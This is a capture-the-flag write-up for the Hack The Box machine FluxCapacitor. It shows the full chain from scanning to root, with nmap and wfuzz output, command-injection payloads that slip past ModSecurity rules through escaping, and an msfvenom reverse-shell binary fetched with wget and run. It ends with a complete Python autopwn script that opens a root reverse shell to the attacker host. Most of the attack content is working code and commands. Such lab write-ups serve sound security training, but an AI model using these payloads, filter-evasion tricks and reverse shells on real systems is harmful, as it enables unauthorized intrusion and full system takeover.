FluxCapacitor write-up

Ανάλυση του FluxCapacitor

· Cybersecurity Κυβερνοασφάλεια · hackthebox hackthebox windows windows

Enumeration

Port scanning

Let’s scan the full range of TCP ports using my tool htbscan.py (you can find it here: https://github.com/Alamot/code-snippets/blob/master/enum/htbscan.py).

$ sudo htbscan.py 10.10.10.69 500

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.69

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-05-11 21:23:48 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.69                                     
                                                                             
Running command: sudo nmap -A -p80 10.10.10.69

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-12 00:27 EEST
Nmap scan report for node1.fluxcapacitor.htb (10.10.10.69)
Host is up (0.100s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    SuperWAF
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Fri, 11 May 2018 21:28:20 GMT
|     Content-Type: text/html
|     Content-Length: 175
|     Connection: close
|     <html>
|     <head><title>404 Not Found</title></head>
|     <body bgcolor="white">
|     <center><h1>404 Not Found</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Fri, 11 May 2018 21:28:19 GMT
|     Content-Type: text/html
|     Content-Length: 395
|     Last-Modified: Tue, 05 Dec 2017 16:02:29 GMT
|     Connection: close
|     ETag: "5a26c315-18b"
|     Server: SuperWAF
|     Accept-Ranges: bytes
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Keep Alive</title>
|     </head>
|     <body>
|     node1 alive
|     <!--
|     Please, add timestamp with something like:
|     <script> $.ajax({ type: "GET", url: '/sync' }); </script>
|     <hr/>
|     FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
|     <em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 405 Not Allowed
|     Date: Fri, 11 May 2018 21:28:19 GMT
|     Content-Type: text/html
|     Content-Length: 179
|     Connection: close
|     <html>
|     <head><title>405 Not Allowed</title></head>
|     <body bgcolor="white">
|     <center><h1>405 Not Allowed</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   RTSPRequest: 
|     <html>
|     <head><title>400 Bad Request</title></head>
|     <body bgcolor="white">
|     <center><h1>400 Bad Request</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   X11Probe: 
|     HTTP/1.1 400 Bad Request
|     Date: Fri, 11 May 2018 21:28:20 GMT
|     Content-Type: text/html
|     Content-Length: 179
|     Connection: close
|     <html>
|     <head><title>400 Bad Request</title></head>
|     <body bgcolor="white">
|     <center><h1>400 Bad Request</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|_    </html>
|_http-server-header: SuperWAF
|_http-title: Keep Alive

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%)
No exact OS matches for host (test conditions non-ideal).

Fuzzing /Sync

If we visit http://10.10.10.69/ and have a look in the source code, we see this:

...
	<script> $.ajax({ type: "GET", url: '/sync' }); </script>
...

Let’s check that url:

curl http://10.10.10.69/sync --verbose

*   Trying 10.10.10.69...
* TCP_NODELAY set
* Connected to 10.10.10.69 (10.10.10.69) port 80 (#0)
> GET /sync HTTP/1.1
> Host: 10.10.10.69
> User-Agent: curl/7.57.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 18 Dec 2017 07:25:54 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Connection: keep-alive
< Server: SuperWAF
< 
20171218T08:25:54

Note that there is a filter that blocks some user agents. So if you have the word “Mozilla” or “Opera” in your user agent string you will get 403 forbidden. Here is the relevant rule from the /usr/local/ope\nresty/nginx/conf/nginx.conf file:

    SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

Now let’s fuzz /sync to see if we find anything interesting:

$ wfuzz --hh BBB -H "User-Agent:alamot" -c -z file,/usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt http://10.10.10.69/sync/?FUZZ{not_this}=test
********************************************************
* Wfuzz 2.1.5 - The Web Bruteforcer                      *
********************************************************

Target: http://10.10.10.69/sync/?FUZZ=test
Total requests: 2589

==================================================================
ID	Response   Lines      Word         Chars          Request    
==================================================================

00000:  C=200      2 L	       1 W	     19 Ch	  "not_this"
00705:  C=403      7 L	      10 W	    175 Ch	  "opt"

We used /sync/?FUZZ{not_this}=test and we hoped to get a different answer for some parameter. The {not_this} is something we know that it doesn’t exist and it help us to set the baseline. We are lucky because “test” is forbidden and we get a different answer when it is used in context with the parameter opt. Other value that would work is for example “date”. We will see that there is a filter that forbids all the words that there are inside the /usr/local/openresty/nginx/conf/unixcmd.txt file.

RCE

We can get RCE like this:

$ curl "http://10.10.10.69/sync?opt=' /usr/bin/whoami'"
nobody
bash: -c: option requires an argument

We can bypass some filtering using backslash escape \ or brace expansion []:

$ curl "http://10.10.10.69/sync?opt=' /usr/bin/whi[c]h mk\nod'"
/bin/mknod

Now, let’s examine a little more the point of injection using the command ps:

curl "http://10.10.10.69/sync?opt=' p\s aux'"
nobody   29849  0.0  0.0   4608   868 ?        S    17:19   0:00 sh -c CMD='/home/themiddle/checksync ' p\s aux''; bash -c ${CMD} 2>&1

We can get and examine some files like this:

curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/nginx.conf'" > nginx.conf
curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/unixcmd.txt'" > unixcmd.txt

If we look inside nginx.conf we see the filtering rules and the command injection point:

...
    modsecurity on;
        location /sync {
        default_type 'text/plain';

        modsecurity_rules '
        SecDefaultAction "phase:1,log,auditlog,deny,status:403"
        SecDefaultAction "phase:2,log,auditlog,deny,status:403"

        SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

        SecRuleEngine On
        SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"

        SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode,block"
        ';

        content_by_lua_block {
        local opt = 'date'
        if ngx.var.arg_opt then
            opt = ngx.var.arg_opt
        end

        -- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")

        local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
        local result = handle:read("*a")
        handle:close()
        ngx.say(result)
        }
...

Getting shell

Getting Xterm shell

Make sure your Xserver is listening to TCP:

$ netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID    
tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::6000                 :::*                    LISTEN      -                   

New Xserver versions have tcp listening disabled by default. Consult your distro how to enable it. You may have to change your display manager settings or the xserverrc file, e.g.:

$ cat /etc/X11/xinit/xserverrc
#!/bin/sh
if [ -z "$XDG_VTNR" ]; then
  exec /usr/bin/X -listen tcp "$@"
else
  exec /usr/bin/X -listen tcp "$@" vt$XDG_VTNR
fi

Then all you have to do is to allow incoming connections from the specific IP:

$ xhost +10.10.10.69

Now let’s connect:

$ curl "http://10.10.10.69/sync?opt=' /usr/bin/xter\m -display 10.10.15.203:0'"
OR
$ curl "http://10.10.10.69/sync?opt=' DISPLAY=10.10.15.203:0 /usr/bin/xter\m'"

Getting a shell by uploading a linux elf

We can get a reverse shell this way too:

$ msfvenom -p linux/x86/shell_reverse_tcp  LHOST=10.10.15.15 LPORT=80 -f elf > /var/www/html/index.html
$ curl "http://10.10.10.69/sync?opt=' w\get 10.10.15.15 -P /tmp'
$ curl "http://10.10.10.69/sync?opt=' c\hmod +x /tmp/index.html'
$ curl "http://10.10.10.69/sync?opt=' /tmp/index.html'

Don’t forget to listen:

$ sudo nc -lvp 80
connect to [10.10.15.15 ] from (UNKNOWN) [10.10.15.15 ] 54678
...

Privilege escalation

Let’s examine if we have sudo:

$ curl "http://10.10.10.69/sync?opt=' sudo -l'"

Matching Defaults entries for nobody on fluxcapacitor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
    (ALL) ALL
    (root) NOPASSWD: /home/themiddle/.monit

Nice! Let’s check this .monit script:

root@fluxcapacitor:/home/themiddle# cat .monit

#!/bin/bash

if [ "$1" == "cmd" ]; then
    echo "Trying to execute ${2}"
    CMD=$(echo -n ${2} | base64 -d)
    bash -c "$CMD"
fi

All it needs is a base64-encoded command argument:

$ $ echo -ne cat /root/root.txt | base64
Y2F0IC9yb290L3Jvb3QudHh0

$ curl -s "http://fluxcapacitor.htb/sync?opt='\{ sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0 \}'"
Trying to execute Y2F0IC9yb290L3Jvb3QudHh0
bdc89b40eda244649072189a8438b30e

Autopwn script

Here is my autopwn script:

#!/usr/bin/env python2
import base64
import signal, thread
import requests, urllib
from pwn import *
signal.signal(signal.SIGINT, signal.SIG_DFL)

LHOST="10.10.14.43"
LPORT=60001
RHOST="10.10.10.69"
RPORT=80

PAYLOAD = "/usr/bin/python3 -c \"import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('"+str(LHOST)+"',"+str(LPORT)+"));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn(['/bin/bash','-i']);s.close();exit();\""

class NoEncodingSession(requests.Session):
    def send(self, *a, **kw):
        # a[0] is prepared request
        a[0].url = urllib.unquote(a[0].url)
        return requests.Session.send(self, *a, **kw)

def send_shell_payload():
    encoded_payload = "\\".join(base64.b64encode(PAYLOAD))
    log.info("http://"+str(RHOST)+":"+str(RPORT)+"/sync?opt=' sudo /home/themiddle/.monit cmd "+encoded_payload+"'")
    try:
        log.info("I am sending the encoded payload for you...")
        client = NoEncodingSession()
        client.keep_alive = False
        url = "http://"+str(RHOST)+":"+str(RPORT)+"/sync"
        response = client.get(url, params="opt=' sudo /home/themiddle/.monit cmd "+encoded_payload+"'")
        print("STATUS CODE: "+str(response.status_code))
        print(response.text)
    except requests.exceptions.RequestException as e:
        log.failure(str(e))
    finally:
        if client:
            client.close()

try:
    threading.Thread(target=send_shell_payload).start()
except Exception as e:
    log.error(str(e))
shell = listen(LPORT, timeout=10).wait_for_connection()
if shell.sock is None:
    log.failure("Connection timeout.")
    sys.exit()
shell.interactive()
sys.exit()

Let’s run it:

$ python2 autopwn_flux.py 
[*] http://10.10.10.69:80/sync?opt=' sudo /home/themiddle/.monit cmd L\3\V\z\c\i\9\i\a\W\4\v\c\H\l\0\a\G\9\u\M\y\A\t\Y\y\A\i\a\W\1\w\b\3\J\0\I\G\9\z\L\H\B\0\e\S\x\z\b\2\N\r\Z\X\Q\7\c\z\1\z\b\2\N\r\Z\X\Q\u\c\2\9\j\a\2\V\0\K\H\N\v\Y\2\t\l\d\C\5\B\R\l\9\J\T\k\V\U\L\H\N\v\Y\2\t\l\d\C\5\T\T\0\N\L\X\1\N\U\U\k\V\B\T\S\k\7\c\y\5\j\b\2\5\u\Z\W\N\0\K\C\g\n\M\T\A\u\M\T\A\u\M\T\Q\u\N\D\M\n\L\D\Y\w\M\D\A\x\K\S\k\7\b\3\M\u\Z\H\V\w\M\i\h\z\L\m\Z\p\b\G\V\u\b\y\g\p\L\D\A\p\O\2\9\z\L\m\R\1\c\D\I\o\c\y\5\m\a\W\x\l\b\m\8\o\K\S\w\x\K\T\t\v\c\y\5\k\d\X\A\y\K\H\M\u\Z\m\l\s\Z\W\5\v\K\C\k\s\M\i\k\7\b\3\M\u\c\H\V\0\Z\W\5\2\K\C\d\I\S\V\N\U\R\k\l\M\R\S\c\s\J\y\9\k\Z\X\Y\v\b\n\V\s\b\C\c\p\O\3\B\0\e\S\5\z\c\G\F\3\b\i\h\b\J\y\9\i\a\W\4\v\Y\m\F\z\a\C\c\s\J\y\1\p\J\1\0\p\O\3\M\u\Y\2\x\v\c\2\U\o\K\T\t\l\e\G\l\0\K\C\k\7\I\g\=\='
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[*] I am sending the encoded payload for you...
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.69 on port 49114
[*] Switching to interactive mode
root@fluxcapacitor:/# $ whoami
root

As you see, I escape every single character in the base64-encoded command argument. I do this to avoid being blocked by some filtering rule that will match some random combination of letters. You can download the script here: https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/FluxCapacitor/autopwn_flux.py

See also...

Δείτε επίσης...